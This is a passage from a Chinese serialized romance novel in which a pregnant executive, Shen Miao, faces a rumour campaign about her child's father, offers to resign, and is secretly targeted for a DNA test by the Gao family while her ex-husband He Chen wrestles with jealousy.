“忍几天吧,等会儿上完药,你拿着药回去,明天早上自己上。” 沈渺坐下,给他上完药,直接把碘伏和棉棒都装起来,递给他。 “明天周末,你有时间吗?” 何之洲接过棉棒。 沈渺,“没空。” “又加班?”何之洲拧眉,“贺忱也太不是人了,你肚子都这么大——” 他正欲比画沈渺的肚子很大。 可定睛一看,真不算大。 “你这肚子未免太小了些。” 沈渺低头,谁说不是呢? 这都六个多月了,她低头只能看到拢起的上位曲线,竟是还看不到肚子。 “医生说孩子确实偏小,不过一切正常。” 每次产检都会被说胎儿太小,沈渺有些焦虑。 不过商音说,网上极个别的孕妇,跟沈渺一样肚子很小。 跟个人体质有关,再加上沈渺工作太忙,确实没有其他孕妇养得那么好。 后来沈渺就不焦虑了。 “那你好好养着,我就不打扰你休息了。” 何之洲不墨迹,拿了东西就起来了。 沈渺起身跟着他往门口走。 “别送了,你早点休息。” 何之洲一只脚踏出她家门,回过头来说。 回应他的,是沈渺关上门,并且‘啪嗒’一声从里面将门反锁的声音。 沈渺上床后,让李白恬查了下石青达的行踪。 明天中午石青达会跟朋友去维亚斯吃饭。 上午十点,沈渺打车去维亚斯。 李白恬花了心思,把包厢定在石青达隔壁。 206.她当众宣布,孩子是谁的。 沈渺到的时候,李白恬已经在包厢里等着了。 “沈渺姐,我刚看到石青达了。” 李白恬往隔壁指了指,压低声音说,“你猜,他约的人是谁?” 沈渺放包入座,“谁?” “原本约的是朋友,结果不知怎的,变成了高家少夫人,她刚挺着孕肚进去的。” 李白恬见过吴玥珊一次。 虽然只有一次,但印象深刻。 沈渺眸光微转,本打算以偶遇的形式见石青达一次。 可如今—— “你在这儿等我,不管发生了什么事情,都不要过去。” 沈渺站起来,径直朝隔壁走去。 包厢门半掩。 吴玥珊的声音传出来。 “我没想到她是这种人,不然我也不能帮她牵这个线,我后来打听了一下才知道,她肚子里揣着一个,不知道谁的,急于给孩子找个爹,她还勾搭过她上司,就是京北贺家的继承人……” 沈渺就是吴玥珊口中的那个‘她’。 “真是太过分了,我约了贺总下午见面,我一定要让他给个交代,百荣集团怎么能要这种女人,还爬到了这么高的位置!” 石青达气的一夜没睡。 且不说吴玥珊说的是真是假。 就说沈渺跟石青达,不过是昨天刚见了一面。 却被石青达搞出跟沈渺快结婚了的架势。 “我的不是了,石总,我朋友是贺忱的未婚夫,他们很快就要结婚了,你想怎么处置沈渺,我让我朋友跟贺忱打声招呼?” 吴玥珊卖好。 石青达挥手,“不用,这件事情不是你的错,你也是好心……” “她的好心在哪儿呢?” 沈渺踢开门,缓步走进来。 室内一下变得明亮许多。 “石总,我跟这位高家的少夫人,吴玥珊小姐,一点都不熟,只见过两次面。高少爷的生日宴会,是陪贺总过去的。” 她给了吴玥珊两个称呼。 一个高少夫人,一个吴玥珊小姐。 意思是这两个身份的哪一个,她都不熟。 “石总,您是生意人,我希望您能理智地看待这件事情。” 仅凭吴玥珊一面之词,石青达就认为她想让石青达背黑锅喜当爹。 离谱,实在离谱。 “沈渺,难怪你找我搭石总这条线,早就想好了反咬我一口了吧?是因为我从唯怡口中得知,你跟贺总那点破事儿了吗?” 论撒谎骗人。 吴玥珊称第二,没人敢称第一。 她在最短的时间内反应过来,说谎时脸不红心不跳。 石青达看看沈渺,又看看吴玥珊。 他毕竟是深城人,跟高家人打过交道。 相比之下,沈渺这个以前没见过面的,可信度低了许多。 “难怪我预约跟贺总见面,贺总拒绝了,原来他跟你——” 石青达面露讥讽,“我以为风光霁月的贺忱跟其他男人不一样,原来也是这种不忠于感情的人!” “我以为石总做到今天这个位置上,是有点脑子的,没想到这么蠢。” 沈渺不得不承认,吴玥珊真会找人。 石青达是个榆木脑袋,死心眼。 若非如此,他也不至于守着这么大家底,却连个老婆都找不到。 “你——”石青达气得豁然起身,盯着沈渺。 “石总,这沈渺太过分了——” 吴玥珊火上浇油。 沈渺打断她,“少在这儿煽风点火,你比他还蠢,被程唯怡当枪杆子使,迟早有一天连累高家。” 包厢里三个人,两个面红耳赤眼睛都快瞪出来。 一个气归气,面上还算平静。 沈渺丢下这番话,转身回到包厢,拿了包就走了。 李白恬快步跟上她,出来时往隔壁包厢看了一眼。 刚好看到面红耳赤那两人。 “沈总,你干啥了?” 李白恬小跑着追上沈渺,“你是不是不该进去,看到了不该看的东西啊?” 沈渺,“确实,今天还不如不来。” 若是没有吴玥珊在添油加醋,沈渺还能耐着性子,跟石青达这个榆木疙瘩再聊两句。 虽然有转机的可能性小,但也不是完全没转机。 这下好了,把人都得罪了。 “哦吼?” 李白恬惊呼一声,“高少夫人大腹便便,好这口?两人怎么不去酒店,在餐厅就……你看到啥了?他们到哪一步了?不止是亲个嘴子摸个小手的吧?脱衣服了吗?” 沈渺猛地停下,回过头来。 “你说什么?” “就,他们孤男寡女,面红耳赤的,不是被你撞破奸情了吗?” 李白恬伸出两个手指头,比画了比画。 沈渺眉头一拧,“不是你想的那样,这事儿一句半句说不清楚,我还有事,你回家吧。” “哦好。”李白恬脸上没了即将吃到瓜的雀跃。 她耷拉着脑袋,目送沈渺离开后,上了回家的公交车。 沈渺则给贺忱的了一通电话。 吴玥珊编造她跟贺忱有一腿,石青达不敢乱传谣言。 他得罪不起贺忱。 但是石青达一定会找她麻烦。 如今她是百荣分部的负责人,她的一举一动都会影响到公司。 她有必要提前跟贺忱汇报,想出应对措施。 再者,这事儿跟程唯怡有关。 只是,贺忱的电话没人接。 沈渺给公司前台打了通电话,得知今天贺忱没去公司。 她打车去了贺忱家里。 约莫四十分钟的车程。 比她更快一步的是新闻。 沈渺在商圈有一定知名度。 她怀孕的消息被报道出来没十分钟,就上了各大媒体的头条。 媒体曾对沈渺的感情状况进行杜撰过。 未婚或者已经结婚了,但是没有公开。 又或者,她在这么多商圈大佬面前,迷失了自我,做了某些人的地下—— 沈渺从未回应过那些杜撰,久而久之也就不了了之,毕竟她也不是什么特别大的人物。 可是近期,她接管百荣分部,如今又被爆怀孕,关注度一下上来了。 沈渺的婚姻状况,另外一半是谁,都是最中规中矩的猜测。 她没结婚,怀了孕,孩子是谁的的猜论,更多人参与。 沈渺在贺忱家门口下车时,脸色有些苍白。 她看着那扇紧闭的房门,迟迟没有上前。 若事情没曝光,她来找贺忱提前想对策。 可曝光了,就要想办法解决。 解决的办法,只有一个,她当众宣布,孩子是谁的。 207.还是想听她亲口说 “沈渺,网上的新闻怎么回事啊?” 商音看到新闻,立马给沈渺打电话,“这个男的傻B吧?” 虽然新闻里,只字没提石青达。 但这事儿肯定是石青达的手笔,没跑。 网上诸多的声音中,呼声最高的就是沈渺单身怀孕,不知跟谁不清不楚,现在正找男人接盘。 “我在贺忱家门口,本来想找他提前想对策,没想到新闻已经曝光了。” 沈渺站在路边,将一颗小石子在路沿上踢来踢去。 商音,“照你这么说,这事儿的幕后黑手是程唯怡,贺忱他能帮你?” “他总要顾虑公司吧。”沈渺抱着侥幸心理。 商音骂骂咧咧,“生个孩子碍他们什么事了?一个个吃饱撑的来管别人的事情?” 当初她生商商,评论区很多喷子,说商商父不详。 甚至有过分地说,这孩子是她花钱买来的,根本不是自己生的。 不过她无所谓,吃的就是互联网这碗饭,黑粉也是粉,还因此涨了些知名度呢。 可沈渺不一样,名声败坏影响她未来事业。 “先不说了,我去找贺忱。” 沈渺想了想,无论如何她都得找贺忱这一趟。 挂了商音的电话,她朝别墅里走去。 二楼阳台,白色纱帘被风吹动。 贺忱站在那里,墨色的长眸盯着路边那抹身影。 他手抵着手机,正在接听电话。 “不压新闻?” 林昭语气惊讶,“这样下去,公司的股市会受到影响的。” 贺忱,“不急。” “这……”林昭大抵猜到他什么意思,随又问,“那要不要往下查?” 贺忱,“想办法让程唯怡回京北,再去管高家要个解释。” 林昭瞬间明白,这事儿是程唯怡跟吴玥珊搞的鬼。 “是!” 切断电话的一瞬间,门铃响了。 贺忱转身下楼,他站在楼梯看着视频中门外清瘦的那抹身影。 沈渺不施粉黛,眉眼精致有型,微微蹙起的眉头显出几分多愁善感。 他身子抵着墙,并未开门,侧着头静看着屏幕上沈渺的影子。 摁了半天,无人开门,她微抿了下嘴唇,又给他打电话。 震动声此起彼伏,仅一门之隔的沈渺听不到。 声声震动在他掌心蔓延开一股酥酥麻麻的感觉,直蹿他心口。 他没给沈渺开门,有些事情他也想知道。 哪怕他已经猜出端倪,却还是想听她亲口说。 或许,他猜得不对。 门外,忙音此起彼伏。 沈渺深吸一口气,又吐出来。 出乎她预料,贺忱竟是没接电话。 看样子,也不在家。 许是……陪程唯怡出去了? 她只能转身离开。 新闻传出后,公司就乱套了。 韩文松士气正旺,没放过这个打压她的好时机,带领高层开会,让她去给个说法。 贺懿想压新闻,但是她向总部提出解决方案,却被总部驳回。 说冷处理。 如此一来,贺懿这个沈渺的‘心腹’,也被打上办事不力的标签。 回公司的路上,沈渺的电话就没断过,一个接一个地响 —— “你们谁得罪贺忱了?” 高振山匆匆进家门,顾不上放下公文包,直奔客厅去问。 高夫人正跟吴玥珊喝下午茶。 她放下茶盏站起来,“我们跟贺忱哪里有交集,怎么会得罪贺忱?” “那贺忱的人为什么来找我要个说法?” 高振山把公文包往沙发上一丢,“该不会网上的新闻,跟你们有关系吧?” 吴玥珊眼神闪烁,不敢对上高振山的目光。 高夫人一头雾水,“什么新闻?” 她边说边拿起手机来,翻了两下,脸色渐变。 “沈渺怀孕了?父不详?” 高振山见她还不知情,就知跟她没关系。 他又看向吴玥珊,恰好看到吴玥珊目光闪烁。 “你说,怎么回事?” 他指着吴玥珊问。 吴玥珊见躲不过去,索性说,“这件事情,其实跟我也没关系,是沈渺不自重,勾引贺忱,程唯怡咽不下这口气——” “所以呢?”高振山顿时明白怎么回事,“你就冲上去给人家当枪把子了?” 那天在宴会上,他看到吴玥珊跟程唯怡关系好,还挺欣慰。 毕竟程唯怡是准贺少夫人。 谁知—— 吴玥珊是个没脑子的,白白被人利用了去。 “爸,我就是……帮了个小忙,而且唯怡才是贺忱要娶的人,沈渺算什么?咱们跟唯怡搞好关系——” 吴玥珊的话还没说完,就被高振山打断了。 “胡闹!如果沈渺在贺忱心里没分量,怎么会成为分公司的负责人,现在这新闻一出,贺忱怎么会找我兴师问罪?” 吴玥珊梗着脖子不说话。 高夫人放下手机,却是问了句,“那沈渺的孩子,到底是谁的?” “是贺——”吴玥珊差点脱口而出。 但她又忍住了。 程唯怡再三叮嘱,这件事情千万不能传开。 一旦传出去,贺忱有可能撕破脸,不跟程唯怡结婚了。 “现在是研究这些的时候吗?” 高振山瞪了眼吴玥珊,“想想怎么把新闻压下去,给贺忱赔礼道歉!” “振山。” 高夫人却是提点了句,“沈渺,怀孕了!” 高振山面露不耐,正欲说什么,对上高夫人的眼神,却又猛地意识到什么。 “你的意思是……” “你把新闻压一压,去找贺忱道歉。” 高夫人侧目,看向吴玥珊,“你跟我一起,去给沈渺道歉。” 吴玥珊,“我不去。” “不去不行。”高夫人当即开口,“现在上楼换衣服,马上走。” 吴家条件不如高家。 当初她是母凭子贵,怀上了孩子才进了高家的门。 吴玥珊只能上楼换衣服,跟着高夫人出家门…… —— 绯闻四起,李白恬也被召回公司了。 沈渺到的时候,她已经在门口等着。 “沈总,韩文松拿着鸡毛当令箭,说总部董事们都非常关注这件事情,韩董让他替董事们转达不满,要求你必须给出一个解释,人都在会议室等着了,贺总也在来的路上。” 闻言,沈渺脚步一顿,“贺总来了?” 李白恬点头,“韩文松说他给贺总打电话了,贺……来了!” 正说着,库里南在十字路口转过弯来,直冲地下车库。 208.沈渺,你跟的什么烂人? 黑茶色的车窗,依稀可见男人轮廓。 鼻梁上金色的眼镜闪过一抹暗芒,他投来的一眼,令沈渺有片刻血液凝固般的僵直。 很快,沈渺反应过来,她动了动身体。 “进去吧。” 算算时间,韩文松跟她应该是前后给贺忱打的电话。 可是贺忱没接她的。 贺忱的意思,显而易见。 沈渺轻咬了下内唇,抬脚朝公司内走去。 顶楼,会议室。 沈渺等电梯时,迟了贺忱一步。 彼时,贺忱已经在会议室主位坐下了。 他双腿叠放,手抵在桌沿,腕表折射着办公室的灯,落下一小块光打在贺忱的金丝眼镜上。 他眼眸微微眯着,眼底一片深邃,令人捉摸不透的深邃。 “沈总遇到事情,怎么总是逃。” 韩文松先发制人,“出事这么久了,你才来公司。” 沈渺走进来,路过贺忱身边时,低声道,“贺总。” 然后她没理韩文松的话,走到座位上坐下。 韩文松小人得志,“贺总,公关部没能及时处理这次的危机,也很失职,不过眼下我们还是先解决沈总的问题,您知道沈总怀孕的事情吗?” 若是连贺忱都不知道,那沈渺就是故意隐瞒怀孕了。 又多了一桩罪名。 “刚知道不久。” 贺忱抬起的手,轻轻转动着腕表表袋,姿态慵懒。 他摆明了态度,任由韩文松刁难沈渺。 “那贺总一定不知道,沈总的老公是谁吧?” 韩文松语气近乎笃定。 沈渺这个孩子要是来得正大光明,新闻爆出第一时间,她拍一张跟老公合照发朋友圈,都能瞬间化解危机。 可是新闻爆出这么久了,沈渺始终保持沉默。 一定有鬼。 贺忱手上动作一停,旋即十指穿插着。 他摇了摇头,微侧目看向右手边的沈渺。 “那沈总就跟大家说说吧,你现在到底是个什么状况,如果……状况实在见不得光,赶快说出来大家替你想想办法,怎么遮掩过去,别影响了公司。” 韩文松似笑非笑。 沈渺要是解释不出来,等待她的只有被开除一条路。 她若是说出来了,孩子来路真的不明,依旧是被开除。 不管怎么算,今天的沈渺都走定了。 身侧,男人投来的目光如注凝着。 沈渺脸颊薄红,心跳如鼓。 一片死寂中,她的呼吸声很是清晰。 沈渺缓了缓心神,面容平淡地抬起头来。 “抱歉,又给公司带来了麻烦,我辞……” 在工作和孩子之间,沈渺果断地选择了保孩子。 她可以承受所有舆论,可以放弃这份工作。 她只是商圈的一个小角色,现在的风口浪尖令人唏嘘。 过不了多长时间,层出不穷的商圈新贵就会把她压下去。 她会被所有人忘记,自然也不会有人再刨根问题,追究她的孩子是谁的。 辞职二字,还未彻底出口时,她便听见身边的男人薄唇里溢出一声讽刺的嗤笑。 那笑声,宛若一根针,刺在她的喉咙里,将剩下的一个字卡住了。 “都出去。” 贺忱蓦地开口,沉得能滴出水的脸色,一瞬间变得锋锐。 他生气起来,上位者的威压感一瞬间蔓延开来。 韩文松收敛了看戏的笑容,迟疑片刻,率先站起来,朝外面走去。 其他人纷纷跟着起身,迅速朝外面走去。 沈渺最后一个站起来,不待朝外走手腕被男人握住。 他手指细长有力,圈着她细细的手腕,温热的触感带着一股禁锢感般,让沈渺停下来。 他没使多大的力气,像是怕弄疼了沈渺。 ‘吱呀——’ 会议室的门被人从外面关上,杂乱的脚步声隔绝开来。 沈渺眼皮垂着,下眼睑被打出一道阴影,遮住了眼眸的情绪。 贺忱保持坐着的姿势,微抬头看向他,“沈渺,你跟的什么烂人?闹成这样,也不见他出来给你撑腰。” “不是他不来,是我不需要。” 沈渺唇瓣微动,语气平静。 贺忱,“不需要?现在不需要他给你撑腰,将来孩子也不需要父亲吗?何——” “贺总。” 沈渺打断他激进批判的话语,“这个孩子是我一个人的,我不需要任何人来帮我,将来我受再多的非议,我也不怪对方,因为留下孩子是我的决定。” “这么善解人意?”贺忱倏地站起来,扯乱领带的手青筋凸起。 他朝她步步逼近。 凛然的气息在他周身蔓延开,空气逐渐稀薄。 沈渺觉得呼吸都费力。 她被逼到角落,薄背抵着墙,双手不由地撑在身前,隔开与贺忱的距离。 “贺总。” 何之洲深夜跟沈渺进了她公寓门。 一早又在她家离开的画面,涌入贺忱的脑海。 贺忱紧咬着牙,下颚清晰的线条让他整个人看起来有几分失控。 “沈渺,这个孩子是——” 质问,探究,不敢相信,又或者说不愿意相信。 诸多的语气,交织在短短几个字里。 贺忱差点儿被这股情绪搞得乱套了。 会议室的门突然被人紧敲了几下。 贺懿将办公室门推开一条缝,人还没进来,先开了口。 “新闻被压下去了,而且还有人指责媒体涉嫌曝光人家隐私,将那几家媒体全都告上法庭了,渺渺,一定是何——” 一定是何之洲出手了。 贺懿知道何之洲来深城了。 她的话还没说完,看到角落里姿态暧昧的两人,声音戛然而止。 沈渺被贺忱圈禁在角落,贺忱动作强势表情难掩落寞,没了往日的冷静可言。 沈渺倾身躲出来,拉开与贺忱的距离。 “离职的事情,贺总处理好了通知我,这几天我就不来上班了。” 说着,她转身往会议室外走去。 路过贺懿身边时,她停下来微微颔首,算是打过招呼。 “你现在辞职,会有很多麻烦的。” 贺懿劝她,“留下来,百荣分部负责人的身份,能帮你省去不必要的麻烦。” 沈渺,“可这些麻烦,本就是这个位置带给我的。” 如果她只是一个普通人,未婚先孕父不详,最多引起周围人的议论。 哪里会面临如此的局面? 209.是贺忱干的吧? 贺懿沉默了,这是事实。 贺忱的身份摆在这里,跟在他身边的人,都会受到业界内的关注。 就连林昭,都曾被几个老总递过几个名片,想撮合他跟自家女儿。 沈渺离开了会议室,会议室的门关上。 “哥,那你批准沈渺离职吗?” 贺懿走过去,问贺忱。 贺忱站在原地未动,人刚好被傍晚的一抹夕阳笼罩,镀了一层金芒。 “压新闻的人是谁。” “何之洲呗。”贺懿毫不犹豫地说。 除了何之洲,谁还愿意趟这趟浑水? 谁又有那个本事,把媒体都告上法庭? 贺懿是猜的。 贺忱却以为,她调查过了。 他折身阔步离开会议室。 他回办公室的路,刚好与沈渺往外走相悖。 两人隔着秘书办办公区,在两条道路上错开。 网上的新闻被压得干净,沈渺上了回家的出租车,翻了各大媒体主站,都没找到蛛丝马迹。 像是不曾存在过那般。 她想到贺懿的话,下车后没回家,先去了何之洲那儿。 摁了两下门铃,门内传来脚步声。 何之洲打开门看到她,表情一僵没说上话来,拉着她进屋了。 “你来得正好,我刚要问你,网上的新闻需要我帮忙吗?我看都消停了,是贺忱干的吧?” 沈渺站在玄关,停下来看着他,“不是你?” 何之洲也愣住,“我?没得到你的允许,我不敢乱帮忙。” 他要是帮了,所有人都会觉得,他是沈渺肚子里孩子的父亲。 “也不是贺忱。” 沈渺面露茫然,她猜不出除了何之洲,还有谁会帮她。 “那,还能有谁啊?”何之洲眨着眼睛,“你那小闺蜜?” “不可能。” 沈渺一口否决,商音有心无力,没那么大的本事把几家媒体都告上法庭。 她疑惑着时,手机突然响了一声。 是高夫人发来的微信,约她见面,点破是为了绯闻的事情。 竟然是高家出的手? “高家为什么会帮你?” 何之洲百思不得其解,“你刚来深城,跟高家人又不熟,而且高家跟韩董的人见过面,有没有跟韩董串通一气都不好说。” “为什么帮我,等见了面就知道了。” 虽然沈渺也想知道高家帮忙的原因。 可天色已晚,她跟高家人约在第二天中午见面。 地点是高家选的,在她家附近的一个西餐厅。 沈渺打车到的时候,高家几人都到了。 不是高夫人一个人,而是高家夫妇,以及高裴济和吴玥珊。 四个人端端正正坐在包厢里。 沈渺一推门进来,几个人一同看过来,让沈渺有种掉入狼窝的感觉。 “沈渺,你来了。” 高夫人起身朝她走过来,“真是的,见了这么多次面,竟然没看出来你怀孕,几个月了?” 沈渺避开她试图挽上自己胳膊的手。 “六个多月了。” 说着,她看了吴玥珊一眼。 恰好吴玥珊在看她,见她看过去,吴玥珊翻了个白眼,移开目光。 “高总,高夫人,谢谢你们压下网上的新闻,只是我想问一句,你们为什么帮我?” 压新闻不费力气。 但是高家还把那几家媒体告上法庭,就是费时费力又费财的事情了。 依照高振山不想让她跟高夫人过多接触的状态,他应该不会同意高夫人这么做。 “说来惭愧。” 高夫人引着她在餐桌前坐下,移开的目光瞪了吴玥珊一眼,“你自己说。” 吴玥珊拗不过,表情有些不自然。 “沈渺,对不起啊,新闻是我让人散播出去的。” 除了她,还有石青达的手笔。 但吴玥珊把石青达也扯出来,那她骗石青达的事情暴露,等于犯了两个错误。 她索性就一个人把责任承担了。 “我们高家向来行得正坐得直,她也是被人蛊惑了,沈总大人不记小人过,别为这事儿结了仇。” 高振山开口,语气比上次让她离高夫人远点,不知好了多少倍。 “是啊,你跟珊珊月份差不多大,都是孕妇共同话题应该很多,以后没事多接触接触,一定能成为朋友。” 高夫人笑着撮合。 她的语气像是撮合两个上小学闹了矛盾的同学,以后好好相处。 “不敢高攀,高总、高夫人也请放心,过去的事情就过去了,我不会放在心上。” 沈渺字里行间,都是不愿意跟吴玥珊交朋友。 而且,她也不想跟高家人走太近。 高夫人看了高振山一眼。 高振山清了清嗓子说,“沈总还在为那天,我说的话生气吗?我为那天的话向你道歉,我太太心软,她之前错信了一个人,差点被人利用了,所以在社交方面我有些不放心,是我小人之心度君子之腹了。” “高总多虑了,不是高少夫人的问题,更不是您的问题,我这个人慢热,而且一心都在工作上,没有多余的时间和精力交朋友。” 沈渺婉拒。 她说话时,看了高裴济一眼。 高裴济像个事外人,自始至终没说一句话,低头玩手机。 出于礼貌没将他刷的内容外放声音,已经是他对今天这个局,最大的尊重了。 高家几人都沉默了。 沈渺站起来,微微颔首。 “再次谢谢高总出手相助,单我已经买好了,饭我就不吃了,希望你们用餐愉快。” 她转身离开。 高振山脸色拉下来,看了高夫人一眼。 高夫人即刻起身,拿着外套穿上,跟着沈渺出来。 “沈渺,我才知道那天他跟你说了那样重的话。” 包厢外,沈渺原本阔步离开。 因为她追出来,不得不放慢脚步。 “他这个人就这样,你别放在心上,好吗?” 沈渺客气一笑,“高太太,我真的没有放在心上,您不用送了,回去吧。” 高夫人依旧跟着她,“我送你到楼下吧,你看你大着肚子,慢一些。” 她提醒沈渺看台阶,注意扶手别碰到肚子。 沈渺一味道谢。 出了餐厅,沈渺站在路边等车,几次让高夫人回去,高夫人都不肯。 “过两天深城的雨季就要到了,你尽量少出门,别开车,怀孕期间还是要小心为妙的。” 她关心着沈渺。 210.我闯的祸我负责 怀孕后,除了商音无微不至的关心,沈渺几乎没有受到过其他人的关心。 她不由得多看了高夫人一眼。 一再拒绝的态度,也有了稍纵的缓和。 “谢谢您,我会注意的。” “不用客气。” 高夫人慈善一笑,眼眸温柔和蔼,“女人怀孕最辛苦了,这个时候千万不能委屈自己,尤其情绪上不能生闷气,知道吗?” 沈渺点头,“没什么好生气的,车快到了,我要过马路等着,再见。” 她转身欲走。 高夫人却突然喊了声,“等等,这里有个东西。” 不等沈渺回头,只觉得头发一紧,头皮针扎似的疼了两下。 “瞧我,不小心扯掉了头发,这是不知哪里沾的脏东西。” 她指尖捏着一小块棉絮状的东西,还夹着两根乌黑的头发。 沈渺抬手揉了揉头皮。 “弄疼你了吧?”高夫人立刻抬起手,想摸摸沈渺的头。 沈渺下意识避开她的动作。 “没事,谢谢。” 高夫人面色划过一抹失落,将手落回去。 “去吧,路上注意安全,你在深城没亲人朋友,遇到事情可以来找我帮忙。” 沈渺不知跟高夫人说过多少次谢谢了。 面对高夫人无端而来的好意,她只能用苍白的谢谢来回应,心里却怎么也动容不起来。 除了刚刚那一瞬,心间涌入了一抹暖意外,再无波澜。 她转身朝马路对面走去。 高夫人收拢手指,将那两根刚拔下来的头发,紧紧攥着。 她转身回餐厅,不等进包厢,就看到高振山面色焦急地出来了。 “沈渺走了?” 高夫人点头,将两根头发装入塑封袋,“这是她的头发,拿去鉴定吧。” “先不说这些。” 高振山把她的手推开,“你赶紧给沈渺打电话,贺忱抢了公司的大项目,他这是要为沈渺出头!” 高夫人脸色一白,“他这个人怎么回事?让我们给个解释,我们不是已经把新闻压下去,也替沈渺出头了?怎么还跟——” “现在说这些干什么?” 高振山打断她,“想办法啊,赶快去联系沈渺啊!” 高夫人只得拿出手机,拨通沈渺电话。 彼时,沈渺刚上出租车。 “高太太,这件事情应该跟我没关系,我建议高总想办法见贺总一面,问清楚怎么回事。” 高夫人那端静了几秒,高振山的声音传来。 “新闻刚爆出来的时候,贺总就让人来要个解释,所以我这才压新闻……哦当然,就算不是贺总发话,也错在高家,我就该负责,所以贺总现在一定是觉得高家做得不够,沈总,你通融一下?” 沈渺竟是不知,贺忱还找过高振山要个交代。 是……为了她? “高总,新闻虽然压下去了,但百荣的股市还是受到了影响,我已经引咎辞职,正等贺总批准,这件事情我实在无能为力。” 沈渺不是不帮,是帮不上。 贺忱怎么做,为什么这么做,哪里是她能过问,操控的? “那我再想想其他办法。” 高振山挂了电话。 他们的通话,高夫人也听到了。 “沈渺辞职了?那她帮不上忙了?” 高振山面色凝着,把手机交给高夫人。 “辞了也好,没有靠山我们更容易拿捏,至于贺忱那边……我自己想办法。” 末了,他看了眼高夫人手里的塑封袋,“你抓紧办这件事情。” “好。” 夫妻两人在餐厅门口分开来。 —— “你说什么?” 傍晚,深城医院秦川办公室。 他脱白大褂的动作一顿,看向贺忱,“谁告诉你,沈渺的孩子是何之洲的?” 贺忱坐在他位置上,目光黯然。 “没人告诉。” 秦川欲言又止。 沈渺离婚半年就怀了孩子,极有可能是婚内时就跟别人不清不楚了。 这是他编造出来的话,就为了激起贺忱的好胜心,让贺忱查到底,沈渺怀的到底是谁的孩子。 谁知—— “其中一定有误会,何之洲不是消停的性子,他要是真跟沈渺在一起了,跟何家闹翻了也得把人带回去,肯定不会藏着掖着。” 贺忱是了解何之洲的。 确实像秦川说的那样。 可他亲眼看到的。 “你那边有情况吗?” 他指的是秦川从商音这儿下手。 秦川摇头,“商音的口风很严,我以前对她爱答不理,现在每天聊两句,她都已经开始怀疑我了,我都能把她怀孕的具体时间段告诉你,你查查不就知道了。” “算了,没必要。” 贺忱嘴上这么说,心里也这么想,“她怀的是谁的,跟我又没关系。” 秦川,“没准有关系呢。” “什么意思?”贺忱目光一沉,朝他看过来。 “乱说的。”秦川面不改色心不跳,“程唯怡回京北了吗。” 贺忱摇头,“不知道。” 程唯怡不来找他,他向来不会主动联系。 “你们婚事在即,京北那边很忙,你打算在深城待到什么时候?” 秦川在他对面坐下,“你又打算让我什么时候回京北?” 贺忱,“该回去的时候回去。” “贺忱,你为什么不逼着我问你想知道的事情。” 秦川放在膝盖上的手收拢。 贺忱目光逐渐锐利,“就算你会害我,也是迫不得已。” 兄弟一场,贺忱不逼他。 而且贺忱大概猜得出,秦川的把柄是什么。 “希望未来某一天,你还会念及这份兄弟情。” 秦川心底愈发不是滋味,“程青良不是个好摆脱的主,尤其你妈跟程家走得又近,程唯怡的事情你必须拿到实证才能掌控主权,但是贺忱,你想过吗?程唯怡现在视沈渺如眼中钉,你逼她,她狗急跳墙,沈渺可能会遭殃。” “不用你说。” 贺忱瞥他一眼,“赶紧收拾东西,走了。” 他起身拿上车钥匙,阔步离开。 秦川拿起外套,跟上他,去他家里喝酒。 两人喝酒话都不多,相对而坐碰杯就干。 秦川总是先倒下的那一个,跟以前年轻时一样。 “贺,贺忱,好兄弟,我闯的祸我负责,绝对不枉费这二十多年的兄弟情。” 秦川倒在桌角,醉醺醺地说。 211.是不是不想结这个婚了? 贺忱坐在窗边,敲着二郎腿,指缝里夹着的烟自动缓慢燃着。 他只是睨了秦川一眼,并未说什么。 玄关柜子上的手机突然响起。 他起身过去,将手机拿起接起。 是贺家老宅打来的电话。 “孙子,你准备什么时候回深城?” 贺老夫人的声音传来。 贺忱看了看腕表,嗓音如常,“忙完就回去,这么晚了,您怎么还没休息?” “奶奶睡不着,担心你。” 贺老夫人一声长叹,“婚期临近,你跑到深城不回来,是不是……不想结这个婚了?” 贺忱沉吟片刻道,“您别操心我的事情,我自有安排。” “你安排什么?”贺老夫人哼了声,“你跑到深城去,你妈觉得对不住程家,婚事她都亲力亲为,请帖都发出去了,酒店也订好了,就连你和程唯怡的结婚礼服她都找人弄好了。” 明黎艳是个要面子的。 纵然这门婚事闹了不愉快,可她不愿让人看笑话。 贺忱这态度不对劲,婚事有可能有变数。 可她硬撑着一口气,无论如何也要把这门婚事进行下去。 她不会给贺忱反悔的余地。 “你跟奶奶交个底,到底怎么想的?” 贺老夫人沉不住气了,她问,“这个婚,到底结不结?你要不结,我去跟你妈说!” 老太太的语气充分表达出对这门婚事的不满意。 “她的脾气,您能说得动?到时候贺家鸡飞狗跳,让外人看了笑话。” 贺忱劝慰贺老夫人,“您别操心了,我自有安排。” 确定贺忱没有需要自己帮助的地方,贺老夫人不再坚持。 “既然你不需要奶奶帮忙,奶奶就不插手了,那你能帮奶奶个忙吗?” 贺忱:“……” 醉翁之意不在酒。 “渺渺怀孕的事情,你都知道了吧,她一个人大着肚子在千里之外,奶奶不放心,你帮忙照顾着点。” 贺忱长眸一眯,“听您的语气,您早就知道了?” 贺老夫人,“确实早就知道了,她不想让别人知道,可能是这件事情有内幕。” “您没问问她是怎么回事。” 贺忱嗓音沉甸甸的。 “我是你奶奶,不是她奶奶。” 贺老夫人说,“这孩子对我有孝敬心,但前夫奶奶的身份是一条鸿沟,这种事情她不方便跟我说,就好比做过夫妻的两个人,当不了朋友。” 如果不是他们的关系处得确实很好,沈渺不会硬着头皮来贺家看她。 “她不需要我照顾。” 贺忱的住处离着沈渺那儿半个多小时的车程。 何之洲走路去她家都用不了二分钟。 哪里用得着他? “女人想得多,而且你快结婚了,她保持距离理所应当,可你是个男人,就不能大度一点?” 贺老夫人语气不悦,“但凡你当时多一点体贴和温柔,她也不能跟你离婚,要我说天底下哪里还有比我孙子更好的男人?” 贺忱分不清,贺老夫人到底是夸赞还是什么。 “她一个女人大着肚子在外地挺不容易的,你能帮就帮一把,别安排太多工作……” 贺老夫人的喋喋不休,被贺忱一句话给堵回去了。 “她提了离职。” 没了上司这层身份,贺忱更没有立场管沈渺的事情。 贺老夫人顿了几秒问,“那她跳槽去哪里?” “离职报告我还没批,她这个情况能去哪里?” 怀孕期想找工作,根本不可能。 “你干嘛不批?”贺老夫人抓住重点,“孙子,再遗憾你跟她也不可能了,你别死缠烂打。” 贺忱:“……” 他是那种人吗? 好马不吃回头草,虽然沈渺确实有些特殊,但也仅限于她在工作上能力出色。 贺忱是觉得,沈渺走了分部没人管,怕被韩董钻了空子。 “明天就把她的离职报告批了,给她两百万的赔偿费。” 贺老夫人说。 “是她要离职,不是我开除,公司没道理付给她赔偿费。” 贺忱提醒道。 